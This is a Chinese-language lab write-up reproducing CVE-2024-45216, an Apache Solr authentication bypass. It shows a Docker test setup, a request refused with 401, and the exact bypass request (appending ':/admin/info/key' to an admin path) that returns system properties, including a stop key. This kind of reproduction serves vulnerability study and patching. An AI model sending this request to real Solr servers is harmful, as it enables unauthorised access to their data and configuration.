

# Apache Solr身份验证绕过 (CVE-2024-45216)

Apache Solr 身份认证绕过漏洞(CVE-2024-45216)，该漏洞存在于Apache Solr的PKIAuthenticationPlugin中，该插件在启用Solr身份验证时默认启用。攻击者可以利用在任何Solr API URL路径末尾添加假结尾的方式，绕过身份验证访问任意路由，从而获取敏感数据或进行其他恶意操作。

## 测试环境

执行如下命令启动一个Solr 9.6.0的集群：

```
docker compose up -d
```

之后 `docker ps` 查看name为solr1e的容器，进入该容器执行

```
solr zk cp /var/solr/data/security.json zk:/security.json -z
zoo1:2181,zoo2:2181,zoo3:2181
```

```
wikwegam4@wikwegam4:~/Desktop$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
afe64e5d785 wikwegam4/solr:9.6.0 "docker-entrypoint.s..." 56 seconds ago Up 55 seconds 0.0.0.0:8981->8983/tcp solr3
b53de836e96 wikwegam4/solr:9.6.0 "docker-entrypoint.s..." 56 seconds ago Up 55 seconds 0.0.0.0:8982->8983/tcp solr2
f03036fc66a8 wikwegam4/solr:9.6.0 "docker-entrypoint.s..." 56 seconds ago Up 55 seconds 0.0.0.0:5006->5006/tcp, 0.0.0.0:8983->8983/tcp solr1e
fb32a217d8fa wikwegam4/zookeeper:3.8 "/docker-entrypoint.s..." 56 seconds ago Up 55 seconds 2888/tcp, 3888/tcp, 8080/tcp, 0.0.0.0:2181->2181/tcp, 0.0.0.0:7003->7000/tcp zoo3
3c2e6a14be9e9 wikwegam4/zookeeper:3.8 "/docker-entrypoint.s..." 56 seconds ago Up 55 seconds 2888/tcp, 3888/tcp, 8080/tcp, 0.0.0.0:2182->2181/tcp, 0.0.0.0:7002->7000/tcp zoo2
34a0378f4204a wikwegam4/zookeeper:3.8 "/docker-entrypoint.s..." 56 seconds ago Up 55 seconds 2888/tcp, 3888/tcp, 0.0.0.0:2181->2181/tcp, 8080/tcp, 0.0.0.0:7001->7000/tcp zoo1
wikwegam4@wikwegam4:~/Desktop$ docker exec -it f03 bash
solr:f03036fc66a8:/opt/solr-9.6.0$ solr zk cp /var/solr/data/security.json zk:/security.json -z zool:2181,zoo2:2181,zoo3:2181
WARN - 2024-11-19 08:08:19.668; org.apache.solr.common.cloud.SolrZKClient; Using default ZkCredentialsInjector. ZkCredentialsInjector is not secure, it creates an empty list of credentials which leads to 'OPEN_ACL_UNSAFE' ACLs to Zookeeper nodes
WARN - 2024-11-19 08:08:19.690; org.apache.solr.common.cloud.SolrZKClient; Using default ZkACLProvider. DefaultZkACLProvider is not secure, it creates 'OPEN_ACL_UNSAFE' ACLs to Zookeeper nodes
Copying from '/var/solr/data/security.json' to 'zk:/security.json'. ZooKeeper at zool:2181,zoo2:2181,zoo3:2181
solr:f03036fc66a8:/opt/solr-9.6.0$
```

访问8983端口，在Security中发现Block anonymous requests被勾选上则说明环境配置完成。（如未勾选则手动勾选一下）

Solr Admin

127.0.0.1:8983/solr/#/~security

**Security Settings**

TLS enabled?  Authentication Plugin: org.apache.solr.security.BasicAuthPlugin Authorization Plugin: org.apache.solr.security.RuleBasedAuthorizationPlugin

Realm: solr Block anonymous requests?  Forward credentials?

**Users**

Username	Roles
solr	admin

**Roles**

Role	Users
admin	solr

**Permissions**

Name	Roles	Collection	Path	Method	Params
security-edit	admin				
core-admin-edit	admin				
core-admin-read	admin				

⚠️ security-read is not protected! In general, if you protect security-edit, you should also protect security-read.

⚠️ The 'all' permission is not configured! In general, you should assign the 'all' permission to an admin role and list it as the last permission in your config.

"上述配置是为了增加Solr的接口鉴权，如无上述操作，则可直接访问接口得到数据。无法体会到该身份验证绕过漏洞的差异性。"

## 漏洞复现

正常访问 `/solr/admin/info/properties` 提示401无权限访问

Request

Pretty Raw Hex

```
1 GET /solr/admin/info/properties HTTP/1.1
2 Host: 127.0.0.1:8983
3 SolrAuth: wi1kwegam4a
4
5
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 401 Unauthorized
2 Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src
'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src
'self' data:; media-src 'self'; style-src 'self' 'unsafe-inline'; script-src
'self'; worker-src 'self';
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 X-XSS-Protection: 1; mode=block
6 WWW-Authenticate: SolrAuthV2
7 Cache-Control: must-revalidate,no-cache,no-store
8 Content-Type: text/html;charset=ISO-8859-1
9 Content-Length: 452
10
11 <html>
12   <head>
13     <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
14     <title>
15       Error 401 Could not validate PKI header.
16     </title>
17   </head>
18   <body>
19     <h2>
      HTTP ERROR 401 Could not validate PKI header.
    </h2>
    <table>
      <tr>
        <th>
          URI:
        </th>
        <td>
          /solr/admin/info/properties
        </td>
      </tr>
      <tr>
        <th>
          STATUS:
        </th>
        <td>

```

但是当在正常路径后面加上一个无需授权即可访问的key接口：`:/admin/info/key`，即可未授权访问到接口内容。

现在我们可以访问 Solr 上的任何 API，而无需进行身份验证。

```
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
```

```
Host: 127.0.0.1:8983
```

```
SolrAuth: wilkgewam4a
```

The screenshot shows a request and response interface. The request is a GET to `/solr/admin/info/properties:/admin/info/key` with a host of `127.0.0.1:8983` and a SolrAuth header of `wilkgewam4a`. The response is a JSON object containing various system properties and configuration details.

```
1 HTTP/1.1 200 OK
2 Content-Security-Policy: default-src 'none'; base-uri 'none'; connect-src
  'self'; form-action 'self'; font-src 'self'; frame-ancestors 'none'; img-src
  'self'; data:, media-src 'self'; style-src 'self' 'unsafe-inline'; script-src
  'self'; worker-src 'self';
3 X-Content-Type-Options: nosniff
4 X-Frame-Options: SAMEORIGIN
5 X-XSS-Protection: 1; mode=block
6 Content-Type: application/json;charset=utf-8
7 Vary: Accept-Encoding
8 Content-Length: 3520
9
10 {
11   "responseHeader":{
12     "status":0,
13     "QTime":1
14   },
15   "system.properties":{
16     "java.vendor":"Eclipse Adoptium",
17     "zkHost":"zoo1:2181,zoo2:2181,zoo3:2181",
18     "sun.java.launcher":"SUN_STANDARD",
19     "sun.management.compiler":"HotSpot 64-Bit Tiered Compilers",
20     "os.name":"Linux",
21     "solr.zk.embedded.host":"0.0.0.0",
22     "solr.jetty.intracess.includes":"",
23     "java.vm.specification.vendor":"Oracle Corporation",
24     "java.runtime.version":"17.0.11+9",
25     "solr.jetty.host":"0.0.0.0",
26     "STOP.KEY":"solrrocks",
27     "user.name":"solr",
28     "solr.tool.host":"localhost",
29     "solr.solr.home":"/var/solr/data",
30     "user.language":"en",
31     "sun.boot.library.path":"/opt/java/openjdk/lib",
32     "solr.pid.dir":"/var/solr",
33     "java.vm.compressedOopsMode":"32-bit",
34     "java.version":"17.0.11",
35     "java.util.logging.manager":"org.apache.logging.log4j.jul.LogManager",
36     "user.timezone":"UTC",
37     "jetty.base":"/opt/solr-9.6.0/server",
38     "sun.arch.data.model":"64",
39     "jetty.port":"8983",
40     "solr.url.scheme":"http",
41     "sun.jnu.encoding":"UTF-8",
42     "file.separator":"/",
43     "java.specification.name":"Java Platform API Specification",
44     "java.class.version":"61.0",
45     "java.security.properties":"/opt/solr-9.6.0/server/etc/security.properties",
46     "jetty.git.hash":"3a745c71c23682146f262b99f4ddc41bc41630c",
47     "user.country":"US",
48     "java.home":"/opt/java/openjdk"
49 }
```